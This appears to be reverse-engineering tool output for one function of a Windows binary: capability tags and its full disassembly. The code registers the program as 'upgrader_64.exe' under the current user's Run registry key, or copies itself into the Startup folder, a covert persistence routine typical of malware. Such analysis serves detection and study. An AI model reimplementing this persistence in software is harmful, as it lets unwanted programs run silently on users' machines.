Function at 0x1400097f0
Capabilities:
Copy file
Link many functions at runtime
Persist via run registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rbx, rcx
test edx, edx
je 0x1400099d3
dec edx
jne 0x1400099cc
lea rcx, [0x1400876e0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x140087740]
mov rcx, rax
mov qword [rbx + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140087758]
mov qword [rbx + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140087710]
mov qword [rbx + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140087788]
mov qword [rbx + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [rbx + 0x250], 0
mov qword [rbx + 0x280], rax
je 0x1400099cc
mov r10, qword [rbx + 0x268]
test r10, r10
je 0x1400099cc
cmp qword [rbx + 0x288], 0
je 0x1400099cc
test rax, rax
je 0x1400099cc
lea rax, [rbp + 0x580]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call r10
test eax, eax
jne 0x1400099cc
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x580]
lea rdx, str.upgrader_64.exe
lea eax, [rax + rax + 2]
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [rbx + 0x288]
test eax, eax
jne 0x1400099bf
lea rcx, [rbp + 0x142]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], di
call fcn.140047310
mov rcx, qword [rbp + 0x580]
lea rax, [rbp + 0x578]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x140]
lea rdx, str.upgrader_64.exe
xor r9d, r9d
xor r8d, r8d
mov dword [rbp + 0x578], 0x208
mov qword [rsp + 0x20], rax
call qword [rbx + 0x250]
mov rcx, qword [rbp + 0x580]
test eax, eax
jne 0x1400099c6
call qword [rbx + 0x280]
lea eax, [rdi + 1]
jmp 0x140009a99
mov rcx, qword [rbp + 0x580]
call qword [rbx + 0x280]
xor eax, eax
jmp 0x140009a99
lea rcx, [rbp + 0x142]
xor edi, edi
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x140], di
call fcn.140047310
lea rcx, [rsp + 0x32]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x30], di
call fcn.140047310
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x290], rax
test rax, rax
je 0x1400099cc
lea r9d, [rdi + 1]
lea r8d, [rdi + 7]
lea rdx, [rbp + 0x140]
xor ecx, ecx
call rax
test eax, eax
je 0x1400099cc
lea rdx, [rbp + 0x350]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, str.upgrader_64.exe
lea r8, [rbp + 0x140]
lea rdx, str._s_s
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x350]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
setne dil
mov eax, edi
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret